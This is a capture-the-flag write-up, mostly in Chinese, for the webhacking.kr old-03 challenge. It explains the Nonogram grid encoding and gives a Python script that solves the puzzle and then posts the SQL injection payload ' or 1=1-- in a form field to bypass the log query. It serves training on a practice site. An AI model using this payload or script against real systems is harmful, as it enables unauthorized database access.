Webhacking.kr old-03

Challenge

Solve the Nonogram, then alter the hidden answer field in the log request.

解出 5×5 Nonogram,并提交网格编码。

1
https://webhacking.kr/challenge/web-03/

Analysis

页面把 25 个格子编码为 _1 到 _25,黑格为 1、白格为 0,JavaScript 再按顺序拼成 hidden 字段 _answer。解题后出现的日志表单通过 POST 提交 answer 和 id;answer 会进入查询,而 id 只决定日志中的名字。观察到修改 answer 会改变查询结果后,可以在该字段结束原字符串并追加恒真条件。

5×5 网格按行编码如下:

1
2
3
4
5
10101
00000
01110
01010
11111

按行拼接后得到:

1
1010100000011100101011111

Solution

先用完整网格参数打开 challenge,让服务端进入 Clear 页面;随后复用同一个 session,向日志表单提交 SQL injection。下面的脚本包含两个请求和所有字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
import os
import sys

import requests

BASE_URL = os.environ.get(
"OLD03_URL", "https://webhacking.kr/challenge/web-03/"
)
GRID = {
"_1": "1",
"_2": "0",
"_3": "1",
"_4": "0",
"_5": "1",
"_6": "0",
"_7": "0",
"_8": "0",
"_9": "0",
"_10": "0",
"_11": "0",
"_12": "1",
"_13": "1",
"_14": "1",
"_15": "0",
"_16": "0",
"_17": "1",
"_18": "0",
"_19": "1",
"_20": "0",
"_21": "1",
"_22": "1",
"_23": "1",
"_24": "1",
"_25": "1",
"_answer": "1010100000011100101011111",
}
INJECTION = "' or 1=1-- "

def main() -> int:
with requests.Session() as session:
clear = session.get(BASE_URL, params=GRID, timeout=10)
clear.raise_for_status()
result = session.post(
BASE_URL,
data={"answer": INJECTION, "id": "writeup"},
timeout=10,
)
result.raise_for_status()
print(result.text)
return 0

if __name__ == "__main__":
sys.exit(main())

-- 后面的空格是 payload 的一部分,用于注释查询剩余内容。answer 必须作为 POST 字段发送,不能只把它放在初始 Nonogram 的 GET 参数中。